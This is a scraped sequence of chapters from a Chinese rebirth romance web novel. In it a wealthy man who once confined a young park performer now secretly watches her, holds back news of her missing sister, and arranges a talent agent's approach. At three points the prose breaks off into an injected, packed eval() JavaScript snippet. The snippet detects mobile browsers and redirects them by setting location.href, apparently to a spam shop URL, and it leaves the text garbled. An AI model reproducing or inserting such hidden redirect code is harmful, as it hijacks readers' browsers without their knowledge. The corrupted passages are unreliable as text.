男同事偏过头,入目便是果茶小花猫似的脸蛋,简直就像可爱萨摩耶被热情姨姨们亲花了头后的表情包在世:妈妈,我鬼混回来了.jpg
他忍不住笑出声,很快摇摇头,指向不远处,“要不趁这会人还没到齐,你先跑去卫生间擦干净?”
果茶思忖数秒,正要在他的掩护下撤出去。
只听景区负责人高声介绍:“这两位就是山海经主题项目,最重要的角色之一,九尾狐。”
果茶刚迈出去的脚又默默撤回,硬着头皮站到男同事身侧,朝领导们扬起一个浅浅的笑容。
市领导愣怔一瞬,看清果茶脸上的印迹后爽朗一笑,“看来演职人员深得游客喜爱,项目颇有成效嘛!”
他随口问程司屿:“程总觉得如何?”
程司屿充耳不闻,他此时满脑子都是刚入园时,果茶仰着头与身侧男人言笑晏晏的亲昵模样。
从他的角度看过去,两人如同交颈颉颃的鸳鸯,叫他嫉妒得近乎忘却了呼吸。
“程总?”市领导偏头看过去。
程司屿如梦初醒。
他用目光细细摩挲着女孩的脸庞,轻笑道:“这只小狐狸确实可爱伶俐,能得到游客喜爱,也是情理之中。”
景区负责人一听这话,眼前一亮,“还望程总能在招商大会上,多多留意一下咱们老牌景区的改造项目!”
当然,他也只是想混个眼熟,要知道这位资方从不喜形于色,想从他这里提前套出点口风,简直比登天还难。
谁料,男人竟沉声回了一句,“自然。”
这可把负责人美得忘乎所以,扬起的嘴角直到拍大合照时,都无法收敛一二。
众人到齐。
现场工作人员按照职务高低简单排了下位置,演职人员分站在领导、市企身侧。
果茶自认为顶着一张大花脸,实在有些难登大雅之堂,便想着趁机溜到边上。
“去哪儿?”
低沉的声音在头顶响起,下一瞬,她连着整个人都被揽到那人身侧。
果茶错愕抬头,直直撞进程司屿讳莫如深的眸子里。
他的眼眸幽深似海,仿佛有种摄人魂魄的魔力,只见他薄唇微启,一张一合间听不到任何声音。
果茶却无端读懂了他的话。
他说——
小狐狸,到我身边来。
8. 寄给茶茶的第8封信
拍完合照,景区负责人还要同领导们开一场座谈会,其他工作人员没多久便各司其职地散了。
果茶一溜烟跑到公共洗手台,用纸沾了点水,小心翼翼擦拭起脸上的口红印,但又怕蹭掉妆容。
正犯难之际,一张手帕横亘而出。
“用这个,或许更方便些。”
听到这道熟悉的声音,果茶倏地偏过头。
程司屿正背着光站在入口处,投射下的阴影,将她整个笼罩起来。
他微微抬手,提醒她接过手帕。
“哦哦,谢、谢谢。”果茶攥起帕子就往自己脸上抹,“你不是要去开会吗?”
果茶也不知道自己在紧张什么,明明她和程司屿并没有什么不正当关系,可她莫名有一种难以言喻的“偷感”,生怕他们走得太近会被领导察觉。
“我在不在场并不重要,消失几分钟也无妨。”
眼见她没轻没重的手劲不仅将底妆蹭花,肌肤还隐隐开始有些泛红。
程司屿抿了抿唇,按住果茶的手腕。
在她懵懂的表情下,程司屿左手拇指指腹轻轻抬起她的下巴,另一只手压着帕子,细细蹭过她脸上的印渍。
还没有他手掌大的脸蛋,竟能容得下这么多深深浅浅的口红印。
程司屿心知不该和那些女人计较,可心中仍有些烦闷,说出来的话也不自觉带着一股酸味:“看来我们茶茶,的确很受欢迎。”
茶茶哪里听得懂他的话外音,还真当以为程司屿是在夸赞自己。
她嘿嘿一笑,脸上被人摩挲的触感有些发痒,她不禁眯起眼,缩了缩脖子,“她们也都说我演的好像初化人形的小狐狸呢!”
程司屿被她这毫不知收敛的天真,堵得心头一梗。
不像演的。明明就是一只货真价实的小狐狸。
他微微垂首,一瞬不瞬地盯着她的眼睛。
吓得果茶身子不由自主地后仰,眼看着就要站不住了,程司屿兀地收回手,晃了晃手中的帕子,“好了,都擦干净了。”
原来他突然离那么近,只是为了看得更清楚些,方便给自己擦脸呀。果茶缓缓站直身子,莫名松了口气。
吓死她了,她还以为……
“可能还需要专人帮你补补妆,”程司屿随手将帕子扔进纸篓,漫不经心问道,“刚才和你说话那男的是谁?”
“啊?”
话题转移得好快,果茶懵懵地回想了一下,意识到他问的是那个男狐狸同事,“是我的搭档,他怎么了吗?”
“没事,听到有游客说你们很……”
程司屿顿了顿,几乎是从齿缝中挤出的这个词,“般配。”
他当然知道那人只是茶茶的同事,但他要茶茶亲口说出来。
“怎么可能!我俩可是竞争关系!我们都要食人魂魄,但他法力没我高,就处处和我作对使小绊子……”
说起人物和剧情设定,果茶蹙了蹙眉,小声嘟囔道,“讨厌他。”
分明就还只是个不懂情爱的小孩子心态罢了。
无论是角色设定还是茶茶本人。
程司屿感到一种前所未有的畅快,他笑着轻轻抚了抚她的头顶,“既然茶茶讨厌他,那我也讨厌他。”
果茶面上一热,支支吾吾地说:“我说的是角色……”果果妈妈说了,无端讨厌一个人是不礼貌的。
“嗯。”程司屿点点头,我说的是真人。
没聊几句,果茶的手机响了,原是工作人员见她许久没露面,催她去干活。
两人只得分道扬镳。
刚走出没两步远,程司屿的声音在身后响起,“茶茶,今天很棒。”
看着他那双深邃而温和的眼眸,果茶心尖猛得一跳,脱口而出:“你今晚回家吗?”
意识到这话似乎问得有些奇怪,她连忙改口:“我的意思是,你好像好几天都没有去半山了,听王叔叔说你只有在附近办事时才会去暂住,所、所以我想问问,你今天……”
“茶茶想我回家吗?”
果茶下意识点头。她想的其实很简单,那是他家,当然是他想回就回。
程司屿笑了,眼底波光微转,轻声应道:“好。”
“今晚,回家。”
*
程司屿本想着待开完会,与茶茶一道回家。可计划赶不上变化,公司临时有事需要处理,他便又只能让王麟接茶茶下班。
待他回半山时,已近深夜十一点,主院一片漆黑。
也不知茶茶睡了没。
程司屿站在院门前,迟迟不敢迈出那步。
茶茶眼中的“数日未见”,其实只是他设计之下的“保持距离”。
他不敢时时出现在茶茶面前,怕惹她心烦,便只能像小偷一样,躲在角落窥视她的一举一动。
他每夜都会回到邻栋与茶茶房间相对的那间房,透过那面窗,他可以看到她趴在窗边的瑜伽垫上做运动,可以看到她清晨拉开窗帘伸懒腰的慵懒模样,还可以看到她不知与何人通话时眉眼弯弯的表情。
他只知上一世,与茶茶的相处方式是错误且扭曲的,茶茶讨厌他阴魂不散的占有欲、讨厌他事无巨细的掌控欲。
那他这一世便全然收敛,不再做令她厌恶的事。
可他只知“不该”,不知“应该”。
他不明白应该怎么做,才能博得茶茶的好感和信任,虽然重活一次,可他对于感情依旧是摸着石头过河,只不过上一次没有摸到石头,便溺亡河中罢了。
于是,他开始变得畏手畏脚。可他自己心里很清楚,他的那些阴暗面并没有因此消失,而是隐藏起来了。
他表面给足茶茶独处的空间、放她自由,实际却像个贪婪的守财奴,在暗中虎视眈眈地守着自己的珍宝。
程司屿叹了口气,正要跨进厅内。
一阵惊叫声陡然响起。
是茶茶!程司屿心尖一颤,随着他的急促步伐,感应门自动敞开。
茶茶和王麟正坐在沙发上看电影,黑暗中,大屏上发出的幽光,在两人惊恐的面容上闪烁。
“啊!”电视中鬼叫连连。
“啊!!”果茶也惊呼着跳了起来,“司屿哥哥!你回来啦!”
别墅里的灯光次第亮起。
果茶趿着拖鞋“噔噔噔”跑到程司屿面前,眼眸带笑:“等你好久都不回来,我和王叔叔闲得无聊,在看鬼片呢!”
程司屿喉头一紧,有些不敢置信:“等……我?”
果茶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208054|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理所当然地眨了眨眼,“不然呢,在这个家里还能等谁?”
此时,王麟也恰逢其时地附和道:“我一直在劝茶茶早些睡觉,但她非说要等你回家。估计是怕又连着几天都见不到你了。”
说完,他递给程司屿一个意味深长的暗示后,非常识趣地离开了主院。
等他回……家吗?
对于当下的果茶来说,“家”或许只是稀松平常的字眼,可在程司屿心中却激起了千层浪。
前世,即使两人曾在这里耳鬓厮磨数年,可茶茶从未将这里视作为“家”。
对于她来说,这里或许是无法逃脱的囚笼、是滋生怨怼的器皿、是虚与委蛇的场所。
可现在,她却能坦然地称这里为“家”,不仅如此,她还会强撑着睡意,等他回家,就好像温柔小意的妻子。
真真正正的妻子。
果茶自然不知自己随口说的一句话,竟能让程司屿在脑中琢磨了千回百转。
她眉眼弯弯地将傻愣着的程司屿引到博古架旁,一脸傲娇地挥起手,“看!我擦的,干净吧?”
她指着花瓶说:“我还学会了插花,这些也都是我的杰作……”
顺着茶茶的指引一一看过去,整个家中确实多了很多令人心中柔软不已的小巧思。但程司屿却下意识蹙了蹙眉,直觉哪里不太对劲。
下一秒,果茶开心地叉着腰,“我把你家整理的还不错吧!放心,我可不会白住这里的!”
她扬起脸,一副“我很能干,快夸夸我”的神色。
程司屿愣在原地,原本燃起的热血瞬间倒流、凝固、冷却。
原来她今天在景区问她“是否回家”,只是为了让他回家看看“她的成果”。原来,她所说的“家”,是“你家”,而非“我们的家”。原来,她能留在这里,只是因为她以为自己的定位是“老板雇来工作的保洁小妹”。
是他想太多了。
程司屿摘下用来伪装“人模狗样”的金丝眼镜,搁置一旁,随后按了按眉心,“茶茶,家里不缺佣人。”
“那缺什么?”果茶跃跃欲试,“我都能干!”
缺个妻子。
程司屿咽下几欲脱口而出的话。
不行,他不能吓到茶茶,她什么都不懂。但没关系,他可以带她慢慢探索,反正他还有一辈子的光阴等她开窍。
他沉声道:“什么都不缺。”
“不用看人眼色,也不用做那些事去讨好任何人,把这儿当作自己家。”程司屿抬手覆上果茶的后脑勺,“好吗,茶茶?”
他的声音仿佛是顺着手臂传到后脑,带来一种酥麻的震感。
果茶懵懂地歪了歪头。
她从小在福利院长大,那儿才是她的家,可那里也是很多很多人的家。她见过很多同龄的小孩为了逃离那个家,会表现出与平常截然不同的性格,后来她才知道,原来这种行为叫做“讨好”。
再后来,她似乎也学会了“讨好”,但她是为了留在果果妈妈身边。她很清楚自己,不会为了无关紧要的东西而去“讨好”别人。
那现在呢?
她是在讨好程司屿吗?
她是想留在这里吗?
她……能把这儿当作自己家吗?
9. 寄给茶茶的第9封信
「程司屿!我是个有自己思想的活生生的人,不是你的玩物!你把我困在这里根本不是因为爱我,你不过是为了满足自己的私欲,你就是个彻头彻尾的坏蛋,你压根不懂得如何去爱人!」
「你闭嘴!你不配叫茶茶的名字!是你害死了她!」
「程总,果茶小姐已经离世两个月了,请再多大师也已无力回天,放过她,也放过你自己吧!」
烟汀海湿咸的海风拍打在脸上,一切过往如走马观花般闪回。
茶茶不在了,这个世界彻底找不到属于她的气息了,那他为何还活着?
他才是该去死的那个人。
夜幕正在无限逼近海平面。
没有丝毫留念,他从游艇甲板纵身跃下……
“嘭!”
-
程司屿猝然惊醒。
额上的细汗、抽疼的心脏、冰冷的躯体,似乎都在昭示他仍存在于世。
是梦。
这种梦,在茶茶离世后,程司屿几乎每日每夜都会梦到。
他一时恍惚,以为自己还困在那段生不如死的时光里。可他不是跳海了吗?为何梦魇还没有结束?
他被救了?
门外一阵窸窣异响。
茶茶走后,整个庄园的佣人都被他遣散了,他不愿旁人在这里搅浑茶茶留下的仅剩不多的气息。
那现在,门外是谁?
程司屿沉着脸,推开门。
站在二层的回廊边俯视厅央,梦里出现过无数次的身影,就这样明晃晃地立于清泠的月光之中。
*
好饿好饿好饿……
午夜梦回,果茶也没料到自己竟然是被饿醒的。
她正蹑手蹑脚地在冰箱里觅食。
一阵疾风掠过,紧接着她被一双结实的手臂禁锢地动弹不得,随着手臂的收紧,果茶感觉自己都快呼吸不上来了。
不是吧,她只不过是偷吃了一块小蛋糕,不至于被恶灵绞杀吧!
下一瞬,这个“恶灵”将头埋进她的肩窝,喃喃道:“茶茶……茶茶……”
他的声音听起来是那样阴郁、悲痛,甚至绝望,竟惹得她的心也不自觉揪起。
隐隐感觉肩窝一凉,有某种湿润的液体,顺着锁骨滑进衣内。
果茶还没反应过来,只见那“恶灵”抬起头,猩红的深邃眼眸中莫名透出一丝痴狂,“茶茶,你终于回来了……”
是程司屿。果茶眨了眨眼,晚上看的那部借尸还魂的鬼片闪现脑海。
她倒吸一口凉气,一时怀疑起自己是人是鬼。
“不、不出意外的话,我我一直都在这里……”果茶咽了咽口水,小心翼翼地说,“我是……死很久了吗?”
女孩稚嫩的脸庞在月光的照拂下,透出健康的粉白色。程司屿愣怔半秒,很快就从混沌中清醒过来。
他已经重生了。这时候的茶茶还是个懵懂快活的小姑娘,而非缠绵病榻骨瘦如柴、浑身插满了各种药管的一心求死之人。
程司屿没有哪一刻比此时更加清楚地意识到,茶茶能健康、快乐地活着,才是他毕生所求。
他甚至可以不再执着于将她捆在自己身边,不再祈求能获得她的爱。
他只要她活着。
“啊?!我真的死……”
“死”字还没说完,程司屿抬手覆上茶茶的唇瓣,全然忘了一个绅士该保持的礼节和风度。
“别乱说。”
程司屿眼睫微微一颤,生怕她那没心没肺的嘴里,再吐出什么能让自己如蹈水火的话来。
心惊肉跳过后,感官回笼。
觉察到掌心似有一种黏糊糊的触感,程司屿摊开掌心,还没看清掌中那抹乳白色是什么。
一个柔软的、温热的物体贴上他的掌心,再看时,掌心已空无一物,只留下一小块晶莹的水渍。
果茶惊慌失措地捂住嘴,脸颊瞬间涨得通红。救命!她在做什么!她怎么能为了掩盖自己偷吃蛋糕的罪行,而试图舔掉他手中残留的奶油……她疯了吗??
看到小姑娘羞赧而忏悔的表情,程司屿后知后觉反应过来,自己错过了多么重要的瞬间。
湿热的舌尖触碰掌心时的柔软触感,仍久久未散,手心也开始泛起痒意,程司屿下意识虚握起拳,想要留住这种感觉。
落在果茶眼里却是另一种意思:硬了,拳头硬了!
吓得她连忙跑到茶几旁抽出几张纸巾,递给程司屿,“对、对不起,司屿哥哥,你能不能当我犯病了……”我都犯病了,你就让让我吧。
程司屿默默用另一只手接过纸巾,把手藏在身后,将纸巾揉成一团后扔进脚边的垃圾桶。
打开餐厅的吊灯,他才看清茶茶鼻尖残留的偷吃证据——奶油。
再将视线移到吧台上的蛋糕盒,程司屿了然。
“饿了?”
果茶轻点了下脑袋,又立马摇摇头,装作一脸困倦的样子,呐呐道:“困了,我要去睡觉了。”
真可爱。程司屿心底的沉闷不由驱散许多,“这样啊,是我有些饿了,本想着让茶茶尝尝我的手艺,看来……”
话没说完,一只柔软的小手试探性地搭在自己臂上,顺着这只手抬眸看过去,小姑娘抿着嘴,有些不好意思地说——
“我记错了……我确实饿了。”
-
锅里翻滚的面条发出“咕噜咕噜”的沸腾,如同天然的白噪音,听得果茶昏昏欲睡。
程司屿不让她进厨房,可他一人下厨,她又过意不去,便只能坐在餐桌边撑着手肘,注视起他忙碌却有条不紊的背影。
看着看着,果茶心中升起一种异样的情感,心脏那块闷闷的、涨涨的,既温暖又酸涩。
她还没能理清这种情愫叫什么,就趴在桌上睡着了。
程司屿做好茶茶指定的打卤面时,她睡得正香,唇瓣无意识地微启,露出可爱的贝齿,再凑得近些,还能听到她绵长的呼吸声。
程司屿垂眸看着熟睡的茶茶,两人太近了,他只消微微低头,就能触碰到那抹柔软。
就在他几乎要经不住诱惑之际,一道声音如当头一棒,将他从意乱情迷中敲醒。
「爱不是占有,甚至也不是一味地付出,而是给予对方充分的尊重,这是茶茶说的,你以后一定记着啊……」
尊重她,不做只图自己愉悦的事情,不做违背她意愿的事情。
程司屿无意识捻了捻指腹,眼底恢复一片清明。
正犹豫是否叫醒她,没想到闻到香味的茶茶在睡梦中耸了耸鼻子,自己倒先醒了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208055|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着面前热气腾腾的打卤面,再看看帅到有些过于扎眼的程司屿,果茶的眼前一亮又一亮,睡意瞬间全无。
“秀色可餐……”
程司屿只听到茶茶梦呓般的呢喃,没听清具体说了什么,将餐具摆好在她面前后,他偏头问:“茶茶刚才……在说什么?”
老实说,程司屿心里是有些惴惴不安的。
他不知道该如何才能博得茶茶青睐,于是将自己的特助张文勋发展成了“情感军事”。
张特助说,第一步是营造霸总若即若离、清心寡欲的高冷形象,不要时时刻刻在她面前晃悠,要通过适当冷却和拉扯、引鱼儿上钩。
这一步走得不错,至少他前几日一直没在茶茶跟前露面,换来了她的那一句“回家吗”,虽然可能和自己想象中有些偏差,但还是颇见成效。
第二步是为爱洗手作羹汤,要想拿下小女孩的心,就得先拿下她的胃,毕竟没有人能拒绝温柔男妈妈的美食投喂。
这一步,正在测试中。
程司屿的厨艺倒是不错,前世掌控欲爆棚的他,对茶茶的衣食住行事无巨细、全由他一手经办,自然也就学会下厨料理。
他本想着今晚就秀一手大的,可茶茶却说只想吃打卤面。
打卤面……
他前世也为茶茶做过。但当时她只吃了一口,就面色很差地停了筷子,想来是他做得并不符合茶茶的口味。
思及此,程司屿提着心柔声问:“手上…食材有限,若是做的不好吃,待下次我再……”
“救命!好香!!!”
果茶尝了一口就满足地眯起眼睛。
真没想到程司屿这般日理万机、看起来不食人间烟火的“霸总”,竟会亲自下厨,更没想到他的手艺这般好。
“果果妈妈以前就经常给我做打卤面,我可爱吃了。”果茶眼眸亮晶晶地盯着程司屿,由衷地说,“司屿哥哥你做的这个味道,和她做的好像!”
是吗。
明明和前世是一样的做法,怎就得到截然相反的反馈。
程司屿眼底的笑意渐淡,他很快就明白,原来当时茶茶讨厌的不是那碗面,而是做出那碗面的他罢了。
但他下一瞬就又想通了。
茶茶是个爱憎分明的女孩,以前她讨厌自己,便讨厌他所做的一切。可现在她喜欢他做的面,说不定也会慢慢喜欢上他这个人。
就在他弯弯绕绕的这一会儿工夫,茶茶的面碗已经见底,她眼巴巴地还想再添半碗。
程司屿被她这幅嗷嗷待哺的模样逗笑了,但已是深夜,宵夜本就对身体不好,吃太多的话更容易积食。
担心茶茶待会儿睡觉会胃疼,程司屿便婉拒了她的“添饭请求”。
一来二去已经接近凌晨三点。
果茶打了个哈欠,嘀咕道:“明天……啊不对已经是今天了,今天下午还得和周岚姐她们去拍景区的宣传片。我得快点去睡觉了……”
程司屿点开手机屏幕,八月二十日。
八月二十日?!
程司屿指尖一顿,萦绕一日的不安与惶恐终于在此刻找到了答案。
他想起为何今晚会再次梦到那个扭曲的梦魇了。
八月二十日,是他前世软禁茶茶的第一天。
10. 寄给茶茶的第10封信
前世这一日,景区新项目启动的新闻在网络发酵,不少游客跟风发出与果茶扮演的小狐狸互动视频,茶茶也因独特的亲和力与魅力,收获众多网友的喜爱。
景区正愁没有好的宣传点,于是抓住这一热度,砸了不少资金用作多媒体平台的网络宣发。
居高不下的持续热度不仅让景区游客大增,也令果茶一炮而红。
有星探向果茶发起邀约,果茶待人不设防、又一心想要打听姐姐下落,便中了黑心星探的陷阱,签下阴阳合同,在与资方见面时险些遇难。
程司屿赶到后将那些渣滓清理干净,这才意识到自己真的对一个小他八岁的孤女动了心。
但那会儿他还只是个对感情一窍不通的天之骄子,身份的天壤之别让他自以为,将茶茶好吃好喝供在别墅里是为她好。
谁料,一步错,步步错,由此便埋下了两人悲剧收场的伏笔。
想到这里,程司屿拧着眉,放下手中的签字笔。
“叩叩。”
办公室的门被敲响,张文勋拿着一叠文件走进来,“程总,娱乐公司的事已经全部安排妥当,董成也正赶往景区。”
他将文件递给程司屿,犹豫半晌还是多嘴问道:“热搜是否要压下去?”
从昨夜到今早,果茶的热搜已经挂了近10个小时,尽管网络的风评总体可控,甚至对果茶个人名声是有益的。但张文勋直觉这并不是程总想要看到的局面,他不认为程总是个乐于“分享所爱”的慷慨之人。
程司屿正垂眸凝视着面前的文件,“MUCHA传媒股份有限公司”这几个字样,让他喉间一紧。
MUCHA。
他在心底无声念道。
他在生前为茶茶做的最后一件事,便是成立“慕茶慈善基金会”,重振早已分崩离析的果果福利院。
如今,他将为茶茶做的第一件事就是——让她多一条可供选择的路。
就在张文勋以为不会再有回复之际,只听程司屿略带沙哑地说:“暂时不必。”
“以后的路,茶茶自己会做出选择。”
他要做的,不是去堵住她的路,而是为她扫清所选之路的一切障碍。
程司屿收回思绪,翻阅起手边的文件,“果枝的事,查的如何了?”
张文勋“嘶”了一声,忙从口袋中掏出一张纸条,上面抄录了一串数字,“她并不在国外,而是跑去了西南,我们的人套到了她现在的手机号。”
张文勋忍不住吐槽道:“太能跑了,跟个滑泥鳅似的,每次都快逮到她了,结果又不知窜到哪儿去了。”
见程司屿脸色不佳,张文勋好奇问:“程总,您要找她是……为了什么?”
据他调查,果枝和果茶同为果果福利院出身,果枝与程总年纪相当,长相明艳、还是个要红不红的小明星,因拒绝潜规则惹到资方而到处藏匿。而果茶单纯可爱,初来花城,除了果枝举目无亲。
程总同时对这姐妹俩如此上心,究竟是青睐姐姐、拿妹妹做替身,还是心悦妹妹、拿姐姐做砝码……他当真有些看不明白了。
程司屿抬眸看向张文勋,声音听不出一丝情绪,“想知道?”
张文勋眼睫一颤,忙在嘴边做了个拉拉链的动作,“不想不想,瞧我这张嘴!程总您忙,我先走了……”
说罢,他正要转身。
“等等。”
程司屿叫住他,头也没抬地签着合同,“以后只留一人保护茶茶,其他人……不用跟了。”
张文勋目瞪口呆,“视频和照片那些呢?”
“尽数销毁。”
程司屿顿了一下,“我不希望留下任何痕迹,明白吗?”
张文勋点了点头,战战兢兢关上门后,长舒了一口气。
虽然不知道程总为何一夜之间就突然想开了、不再“实时监视”果茶了。但是,谢天谢地!自己终于可以不用再帮着他做这档子“变态”事了。
天知道他这段时间每天都在担心,自己会因侵犯他人隐私罪而被拘留!
张文勋走后,办公室重回沉寂。
程司屿展开手边的纸条,静静看了一会儿。
正想拍下来发给茶茶,指尖悬在拍摄键上方的一瞬间,陡然想到茶茶现在能与自己走得这么近,无非是因为他曾答应帮她找到果枝。
若是这么快就将果枝的讯息告诉茶茶,那自己对她来说,还会有剩余价值吗?
想到这里,程司屿心一沉,把这串号码保存到手机通讯录后,转而将纸条撕碎,径直扔进垃圾桶。
再等等,等他与茶茶的关系更亲近一些,近到不需要再耍这些小手段,才能把她困在自己身边。
届时再将果枝的信息,一一告知茶茶也不迟。
*
越山景区。
茶茶正忙得不可开交。
拍完宣传片,她还是要继续营业。也不知怎的,今天突然来了好些专程赶来和她合照的游客,说是她在网上火了,所以才慕名而来。
果茶很少玩社交媒体平台,因此不清楚实情。她也有去问周岚和小荷,但看她们都一副语焉不详的模样,便也不好多问。
果茶并不排斥众人举着手机邀她入镜,反而给足了情绪价值。
她心想,反正来找她的游客们也只是一时兴起,想来这突如其来的热度,用不了几天就自行冷却了,又何必扫他们的兴致。
偶尔遇到几个不太礼貌的男游客,也会有好心人跳出来帮她怒斥回去。
等到人终于少了些,果茶掏出小镜子理了理发饰和衣领。
透过镜子一角,身后似乎有人一直在盯着自己。
果茶疑惑回头,一个中年男子温和地笑了笑,径直朝她走来。
果茶一眼就认出,他是刚才帮自己赶走猥琐男的其中一位好心人,便回以他一个灿烂的笑容。
“您是果茶?”男人温声问道。
果茶点了点头,一句“怎么了”还没说出口,男子递过来一张名片,“您好,我是MUCHA娱乐艺人部的经纪人,董成。”
出于礼貌,茶茶接过名片,刚扫视完上面的信息,就听到男人接着说:“我刚才看了宣传片拍摄现场,您的形象和气质很符合我们公司的艺人标准,不知您可有兴趣加入我们?”
董成是巨头娱乐公司Magic的金牌经纪人,曾带出过扬名海外的三金影后。不过这些年他基本处于半退休状态,更别提带新人。
前段时间,董成被程司屿邀请坐镇刚成立不久的娱乐公司,他本以为程司屿进军娱乐圈是要和Magic对标,自然不敢接下,可谁知老东家不仅慷慨放人,就连程总也保证“只是接董叔安心在新公司养老罢了”。
董成问程司屿,自己应该做些什么。结果他只说了一句“烦劳您多多照顾我家茶茶”。
他心中了然,原来砸巨资成立公司、广邀圈内各大行家加盟,不过是为了讨佳人欢心。可董成有一点不明白,程司屿似乎只打算在背后默默付出,甚至让自己不要在果茶面前提到他的名字。
他在……怕什么?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208056|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“我怕您签错人了。”
听完董成的自我介绍,果茶内心有些震颤,她虽不认为自己比别人差,但若作为艺人,那她确实是显得有些不够格。
斟酌一番,果茶坦诚道:“不知您是不是因为我在网上火了,才想要签下我,但现在这样的热度也只是昙花一现,做不得数的。”
人倒是挺清醒,态度也是不卑不亢,不像面上那般娇弱天真。难怪程总对她如此上心。
董成眼底的笑意多了几分真切,“茶茶,你知道在娱乐圈最重要的是什么吗?”
果茶想了想,“才华?能力?相貌?”
董成摇头,“是眼缘,是让人见一眼就不禁喜欢的能力。”
他看着果茶澄澈的眼眸,一字一顿道:“而你,就有这样的能力。”
果茶不懂,正想该说些什么来婉拒董成,只听他幽幽道:“还有一个原因,是我在你身上看到了一种熟悉的气质,哦说来也巧,那个人还和你同姓。”
“她叫果枝,是个小明星。”
果茶赫然抬头,一脸震惊。
见她这样,董成心知程总教自己的话术起了作用,他挑了挑眉,淡定自若地说:“怎么?你认识她?”
果茶收起面上的惊慌,她不知眼前人是否可信,也不知是否应该暴露自己和果枝的关系,保险起见,她佯装自然地回道:“有点耳熟,我好像在电视上看到过她演的剧。”
董成点点头,“她最近遇到点麻烦,但总归是会回来的。你要是进了娱乐圈,说不定也会和她有交集。”
“茶茶,娱乐圈是个圈。”
董成讳莫如深地说:“你想见谁,都会很方便。”
说完,他抬手看了眼腕上的手表,似乎还有事等着去处理,“签公司是件大事,不急于一时,你可以回家同家人商量后再做定夺。”
他挥了挥手,笑道:“等你电话。”
望着董成离去的背影,果茶又低头看了眼手里的烫金名片,陷入沉思。
福利院有阿姨说果枝跑到国外、甚至注销了以前的号码,是因为今时不同往日,她怕别人得知她的孤女身世、掉了面子,所以才不想再跟她们这些人有往来。
但茶茶不相信这种说法,枝枝姐定是遇上了麻烦才会出此下策。照董成刚才的说法,果枝确实有难言之隐。
虽然程司屿答应会帮自己留意姐姐的消息,但显然他那般日理万机,也不见得真将她的这种小事放在心上。
而现在,若是她进了娱乐圈就有可能联系上果枝,哪怕只是一通电话。
她只想确认枝枝姐是否平安无事。
可正如董成所言,签公司、进娱乐圈并不是件小事,她应当认真考虑清楚,她是否有能力在这样一个全然陌生的赛道立足。
「回家同家人商量后再做定夺。」
董成的话萦绕耳畔,果茶一时迷糊起来,她的家人……
她该同谁商量?
果果妈妈年纪大了、也不懂这些,说了怕她担心。果枝姐现下人都联系不上,更不必说了。林鹿姐,看她的朋友圈每日也忙得够呛……
突然,脑海中跳出一张温润如玉的面孔。
司屿哥哥?
果茶心尖颤了颤,耳根也莫名有些发烫。
正沉思着,一只粗粝的手掌兀地握上她的小臂,吓得果茶差点跳起来。
她抬头一看,是个陌生中年男人,对方直剌剌的眼中闪着意味不明的笑。
“小姐你好,我是星探,想当明星吗?”
11. 寄给茶茶的第11封信
幽暗的密室。
一束白得刺眼的灯光从头顶照下,人脸上的千沟万壑,也在光的投射下无处隐遁。
被蒙住眼睛和嘴巴的男子跪在地上,身体剧烈挣扎着,喉间发出凄惨而喧杂的呜咽。
从密室的暗处走出两名魁梧的保镖,一人摘除男子眼上的黑布,另一人撕掉他嘴上的胶条。
“哗啦”一声。
重见天日的同时,吴永感觉自己的嘴巴似乎都被高粘度的胶条一齐撕掉了。
他像一只搁浅岸上濒死的鱼,大口大口呼吸起来,可嘴角咧动的幅度越大,嘴上的刺痛感越强烈。
这种灼伤让他不自觉闭起嘴,斜着眼偷偷打量起周围的环境。
不知道自己身处何地,也不知道这小黑屋四周,岿然站定的数名凶煞恶煞之人是谁,但瞧这架势显然不是什么善茬。
吴永心中一紧,莫非自己惹上了什么不该惹的人?可他最近还算老实本分啊……
正想着,密室大门赫然打开。
西装革履的高大男人信步走来,身后还跟着一个看起来文质彬彬的助理。
看起来不是□□。吴永松了口气,想来其中有什么误会,他们抓错人了也说不定。
“你是星探?”
男人坐在吴永面前的椅子上,敛眉俯视他,神色慵懒地说:“你看我能当明星么?”
吴永战战兢兢端详起来。
男人的身形隐匿在昏暗中,可一眼就能瞧出他的五官深邃,剑眉星目、鼻梁高挺,不怒而威的气场无不显示他的身份并不简单。
什么当明星,说不定只是想在他这里物色明星罢了。吴永觍着脸,谄媚非常,“您这般气宇轩昂的仙人之姿,当明星岂不是大材小用……”
男人打断他的话,似乎颇有兴致地问:“那你说说,一般选什么样的人当明星?”
“长得小有姿色,性格天真单纯,心地还要善良,这种人最好拿捏。”
吴永是星探不假,但他并非正经星探,而是专骗涉世不深的年轻人入局,再将他们转头送给有需求的大佬们。
